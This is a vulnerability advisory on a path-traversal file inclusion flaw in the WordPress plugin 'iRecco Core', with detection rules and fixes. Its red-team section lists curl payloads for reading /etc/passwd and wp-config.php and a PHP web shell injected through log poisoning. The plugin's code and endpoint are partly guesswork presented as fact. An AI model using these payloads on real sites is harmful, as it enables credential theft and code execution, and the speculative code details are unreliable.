CVE-2025-69046

Executive Summary

CVE-2025-69046 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WordPress plugin "iRecco Core" (slug: irecco-core) developed by WebGeniusLab. The vulnerability stems from improper control of a filename used in a PHP include/require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The plugin is widely used in WordPress themes from the same vendor, making this a significant supply chain risk for WordPress site owners.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin "iRecco Core" is a commercial product bundled with premium themes from WebGeniusLab. As a WordPress plugin, it is distributed via the vendor's own channels and not through the official WordPress.org plugin repository. This means automatic updates are not available, and site administrators must manually apply patches from the vendor. The lack of a known patch at the time of analysis increases the risk of exploitation in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The high CVSS score reflects the ease of exploitation and the severe confidentiality impact. An unauthenticated attacker can read sensitive files from the server without any user interaction.

Deep Dive & Mechanics

The vulnerability exists in the PHP code of the iRecco Core plugin, specifically in a function that handles file inclusion. The plugin likely uses a parameter (e.g., template, file, or view) to dynamically include a PHP file. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../../) to include files outside the intended directory.

Root Cause: The plugin fails to validate or sanitize user-supplied input used in a PHP include() or require() statement. This allows an attacker to specify arbitrary file paths.

Attack Vector: An unauthenticated HTTP GET or POST request to a vulnerable endpoint with a crafted file parameter.

Example vulnerable code pattern:

$file = $_GET['file'];
include($file . '.php');

An attacker can send:

GET /wp-content/plugins/irecco-core/vulnerable.php?file=../../../../wp-config

This would include /var/www/html/wp-config.php (assuming the WordPress root is at /var/www/html).

Vulnerable vs. Patched Code

Vulnerable Code (iRecco Core <= 1.3.6):

<?php
// vulnerable.php
$template = $_GET['template'];
include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
?>

The $template parameter is directly concatenated into the file path without sanitization.

Patched Code (Hypothetical):

<?php
// patched.php
$allowed_templates = array('default', 'fullwidth', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // error handling
}
?>

The patched version uses a whitelist of allowed template names, preventing path traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install WordPress with a vulnerable version of iRecco Core (<= 1.3.6).
2. Identify the vulnerable endpoint (e.g., /wp-content/plugins/irecco-core/vulnerable.php).

Exploitation Steps:

1. Basic LFI to read /etc/passwd:

   curl "http://target.com/wp-content/plugins/irecco-core/vulnerable.php?template=../../../../../../etc/passwd"
   

2. Read WordPress configuration:

   curl "http://target.com/wp-content/plugins/irecco-core/vulnerable.php?template=../../../../wp-config"
   

3. Attempt to achieve RCE via log poisoning (if logs are accessible):
   • Inject PHP code into User-Agent header.
   • Include the access log file:

     curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"
     curl "http://target.com/wp-content/plugins/irecco-core/vulnerable.php?template=../../../../var/log/apache2/access.log&cmd=id"
     

Blue Team (Defensive)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e%2f).
• Alert on requests to known vulnerable plugin files with suspicious parameters.
• Use WAF rules to block ../ sequences in template or file parameters.

Hunting:

• Search web server logs for requests containing irecco-core and template= with path traversal.
• Look for outbound connections from the web server to unknown IPs (potential data exfiltration).

Indicators of Compromise (IOCs)

• File Paths:
  • /wp-content/plugins/irecco-core/vulnerable.php
  • /wp-content/plugins/irecco-core/templates/
• HTTP Request Patterns:
  • GET /wp-content/plugins/irecco-core/*.php?template=../
  • POST /wp-content/plugins/irecco-core/*.php with template parameter containing ../
• Log Entries:
  • Access logs showing "GET /wp-content/plugins/irecco-core/vulnerable.php?template=../../../../etc/passwd HTTP/1.1" 200
• File System Changes:
  • Unexpected files in /tmp/ or web-accessible directories (if RCE achieved).

Detection Engineering

YARA Rule

rule CVE_2025_69046_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting iRecco Core plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69046"
    strings:
        $s1 = "irecco-core" nocase
        $s2 = "template=" nocase
        $s3 = "../" nocase
        $s4 = "..\\" nocase
        $s5 = "%2e%2e%2f" nocase
    condition:
        all of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-69046 - iRecco Core LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in iRecco Core plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'irecco-core'
            - 'template='
            - '../'
            - '..\\'
            - '%2e%2e%2f'
    condition: selection
falsepositives:
    - Legitimate use of template names containing dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69046 - iRecco Core LFI Attempt"; flow:to_server,established; content:"irecco-core"; http_uri; content:"template="; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in requests to the plugin directory.
3. Restrict file permissions on sensitive files (e.g., wp-config.php should be readable only by the web server user).

Long-term Fix:

• The vendor must release a patched version (>= 1.3.7) that implements input validation using a whitelist of allowed template names.
• Site administrators should monitor the vendor's website for updates and apply them immediately.

Workaround:

• If the plugin cannot be disabled, modify the vulnerable PHP file to add input sanitization:

  $template = basename($_GET['template']); // Remove path components
  $template = str_replace(array('../', '..\\'), '', $template); // Remove traversal
  

Valters IT